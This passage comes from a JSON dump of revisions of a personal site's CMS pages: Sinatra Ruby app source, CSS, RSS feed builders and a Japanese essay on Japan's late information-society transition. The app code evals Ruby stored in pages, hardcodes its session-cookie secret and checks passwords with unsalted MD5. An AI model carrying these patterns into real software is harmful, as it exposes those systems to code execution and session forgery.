only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n if time.first.to_i != 0\r\n time = time.first\r\n else\r\n time = 20\r\n end\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+time].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n Dir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2016-09-15T08:50:40.000Z","updated_at":"2016-09-15T08:50:40.000Z"},{"id":3003,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n if time.first.to_i != 0\r\n time = time.first\r\n else\r\n time = 86400\r\n end\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+time].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n Dir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2016-10-03T05:54:45.000Z","updated_at":"2016-10-03T05:54:45.000Z"},{"id":3004,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n}\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\nh1, h2, h3, h4{font-family:serif;}\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n\r\n\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}\r\nbody, html{filter: grayscale(100%)}","created_at":"2016-10-14T06:59:49.000Z","updated_at":"2016-10-14T06:59:49.000Z"},{"id":3005,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n}\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\nh1, h2, h3, h4{font-family:serif;}\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n\r\n\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}\r\n","created_at":"2016-11-10T05:46:51.000Z","updated_at":"2016-11-10T05:46:51.000Z"},{"id":3006,"name":"walti07b1379ef4ad46e78aefd8c013564428.html","body":"raw\r\n07b1379ef4ad46e78aefd8c013564428","created_at":"2016-11-22T13:53:45.000Z","updated_at":"2016-11-22T13:53:45.000Z"},{"id":3007,"name":"walti07b1379ef4ad46e78aefd8c013564428.html","body":"07b1379ef4ad46e78aefd8c013564428","created_at":"2016-11-22T13:54:00.000Z","updated_at":"2016-11-22T13:54:00.000Z"},{"id":3008,"name":"walti07b1379ef4ad46e78aefd8c013564428.html","body":"raw\r\n07b1379ef4ad46e78aefd8c013564428","created_at":"2016-11-22T13:54:14.000Z","updated_at":"2016-11-22T13:54:14.000Z"},{"id":3009,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n JSON.parse(open(\"http://diary.app.ssig33.com/api\").read).each do |diary|\r\n xml.item do\r\n xml.title diary[\"body\"].split(\"\\n\")[0]\r\n xml.link \"http://diary.app.ssig33.com/#{diary[\"id\"]}\"\r\n xml.description diary[\"body\"]\r\n xml.pubDate Time.parse(dyary[\"created_at\"]).rfc822()\r\n xml.guid \"http://diary.app.ssig33.com/#{diary[\"id\"]}\"\r\n end\r\n end\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend\r\n","created_at":"2016-12-14T09:50:35.000Z","updated_at":"2016-12-14T09:50:35.000Z"},{"id":3010,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n JSON.parse(open(\"http://diary.app.ssig33.com/api\").read).each do |diary|\r\n xml.item do\r\n xml.title diary[\"body\"].split(\"\\n\")[0]\r\n xml.link \"http://diary.app.ssig33.com/#{diary[\"id\"]}\"\r\n xml.description diary[\"body\"]\r\n xml.pubDate Time.parse(diary[\"created_at\"]).rfc822()\r\n xml.guid \"http://diary.app.ssig33.com/#{diary[\"id\"]}\"\r\n end\r\n end\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend\r\n","created_at":"2016-12-14T09:50:54.000Z","updated_at":"2016-12-14T09:50:54.000Z"},{"id":3011,"name":"text/inf","body":"%blog% 日本人がいまいち情報社会にフィットできない理由\r\n\r\n日本の情報社会がいつからはじまったかという問題についてまず考えてみます。いやその前に情報社会とは何かという問題について考える必要があるかもしれない。ここは面倒なので、情報が機械により大量生産され機械により消費、加工される社会ということにしておきます。\r\n\r\nサプトンの発明、新聞社への普及をもって日本の情報社会が達成されたという考え方は、日本社会の情報化を最もはやく見積る考え方の一つだと思います。ただし、これはいくらなんでも無理があるのではないかと思います。\r\n\r\nあるいは、 1960 年代末からのカナモジタイプライターやテレタイプの企業への普及をもって日本社会の情報化がなされたと考える人もいるかもしれません。\r\n\r\nしかし、現実にはこれらのシステムは非常に限定された帳票の作成の機械化にのみ用いられていたというのが実態で、こうしたシステムをもって企業内の情報作成、処理の全面機械化を達成していた企業はかなり限定されていたのが実態です。また当然ながら情報とは企業内における業務処理以外のあらゆる場でも生産されており、それらはカナモジ化による機械化とは全く無縁だったでしょう。\r\n\r\n実際、 1970 年代に日本語ワープロ JW-10 の開発が開始されたきっかけは、日本の新聞記者は手書きで文章を書かないといけないから情報生産の効率が低すぎる、という問題意識でした。\r\n\r\nよって、日本語ワープロにより発明されたかな漢字変換という技術によってはじめて日本語の機械化が達成され、社会が情報化されたと考えるのは、そこまでまずい考え方だとはぼくは思いません。\r\n\r\nでは日本語ワープロの社会への全面的な普及がいつ達成されたかという問題があります。日本語ワープロの普及と平行してパーソナルコンピューターと PC 上のワープロソフトの普及も進んでいったという事情がありますが、ここではワープロ専用機と PC 上のワープロソフトについて区別せずに論じようと思います。そうすると日本社会の情報化というのが達成されたのは 1980 年代後半から 1990 年代初頭にかけて、というのが一番自然な考えではないかと思います。\r\n\r\nつまり、日本社会は情報化されてからおよそ 30 年の伝統があるということになります。\r\n\r\n次はこれが欧米だとどうかということについてです。欧米では日本や中国とは違い用いられる文字数がとても少ないので、タイプライターという非常にシンプルな形で文書作成の機械化が実現されました。また、タイプライターはカーボンシートを挟むことで文章の複製もとることができたので、ゼロックスがコピー機を発明するまで文章の複製に莫大なコストがかかった日本と比べてこの点でも有利だったと言えます。\r\n\r\nではこうした点をもとに欧米において各種の情報機械がいつ発明/実用化されたかというのを一覧します。\r\n\r\n- 電信網は 1860 年代\r\n- はじめて商業的に大成功したレミントンの QWERTY 式タイプライターは 1873 年\r\n- 垂直ファイリングシステム(PC のフォルダアイコンの元になってるやつ)は 1893 年\r\n- タビュレーティングマシンは 1890 年\r\n\r\nこうした事実を考えると、社会の本格的な情報化は遅くとも 1900 年には達成されていたと考えることができるでしょう。ここで重要なのが、欧米においてはこれらの(現代から見れば)原始的な発明をもって、きわめて自然な人間用の言語を機械化して扱うことが可能になっていたという点です。日本においてもこうした技術や機械は輸入されていましたが、限定的な形でしか活用することができなかったのです。\r\n\r\nようするに、日本は欧米と比較したとき、社会の情報化という観点では 100 年の遅れがあるということです。日本企業の経営者の多くが産まれついての情報社会の住民ではないです。一方欧米において、情報社会を経験していない人というのはとっくの昔に全員死んでいます。\r\n\r\n故に日本組織のトップ層が欧米人ほどに情報やシステムを上手く扱えなかったからといって、それは責められるべきことではなくて、もうしょうがないことだということです。\r\n\r\nでは日本の組織がこうした問題についてどのように取り組んでいたかというと、それはもう人海戦術です。すこし前にあった[現代と昔の仕事の違い - Yahoo! BB](http://bbpromo.yahoo.co.jp/special/showa/showa-3.html)というプロモーション記事を読むとそれがよくわかります。\r\n\r\n\u003e いえ、違います。作業内容は全部正しいんですが、本当はそれをもっと分担してやっていたということです。資料を探すのは資料を探す人、プレゼンするのはプレゼンする人、資料を作るのは資料を作る人、と完全な分業制だったんです\r\n\u003e \r\n\u003e はい、パソコンが普及してから1番変わったのは、ひょっとしたらそこかもしれません。1人である程度のことは全てできるようになったので、働き方がそもそも変わりました\r\n\r\nここでどういう問題が出てくるかというと、日本社会の情報化の達成と同時に、日本ではバブル崩壊と長期不況という現象が起きたということです。 1990 年代から 2010 年代初頭において日本企業では幹部要員のホワイトカラーの採用を絞って非正規雇用を増やすという行動をとってきました。これは一般的に景気が悪くなったからみたいな理解のされかたをしていることが多いです。もちろん、一面においてはそれは真実です。\r\n\r\nですがこれには別の側面があって社会の情報化が達成された以上昭和の時代のように膨大な量のホワイトカラーを雇って過酷な人海戦術を回していく必要が無くなったからという面もあるわけです。\r\n\r\n非常に悪い言いかたをしてしまうと、日本の文系大学教育というのは、この人海戦術に耐えられる、文章をとにかく作成すること「だけは」できるという人間を養成する機関として機能してきたといえます。故に、大卒の価値が激減してしまったわけです。\r\n\r\nこの点、大学院重点化というのは理念としては非常に正しかったと言えるでしょう。博士というのは研究を通じて、プロジェクトと情報の管理という情報社会に最も必要な技能をみっちりと叩き込まれるからです。本来彼らはその専門分野に関わらず情報社会のあらゆる場所でその技能を発揮することができます。\r\n\r\nしかし、先述した通り日本社会にはまだまだ大量の非情報社会型人間が存在している過渡期的な時期なので、彼ら博士がそのような貴重な技能をもっているということに企業は気付けなかったということです。\r\n\r\n逆に言えばこうした過渡期的な問題というのは、時間とともに勝手に解決していくということでもあり、あまり悲観する必要もないのではと思っています。","created_at":"2017-02-07T08:16:53.000Z","updated_at":"2017-02-07T08:16:53.000Z"},{"id":3012,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n JSON.parse(open(\"http://diary.app.ssig33.com/api\").read).each do |diary|\r\n xml.item do\r\n xml.title diary[\"Body\"].split(\"\\n\")[0]\r\n xml.link \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n xml.description diary[\"Body\"]\r\n xml.pubDate Time.parse(diary[\"CreatedAt\"]).rfc822()\r\n xml.guid \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n end\r\n end\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2017-02-07T08:30:02.000Z","updated_at":"2017-02-07T08:30:02.000Z"},{"id":3013,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when 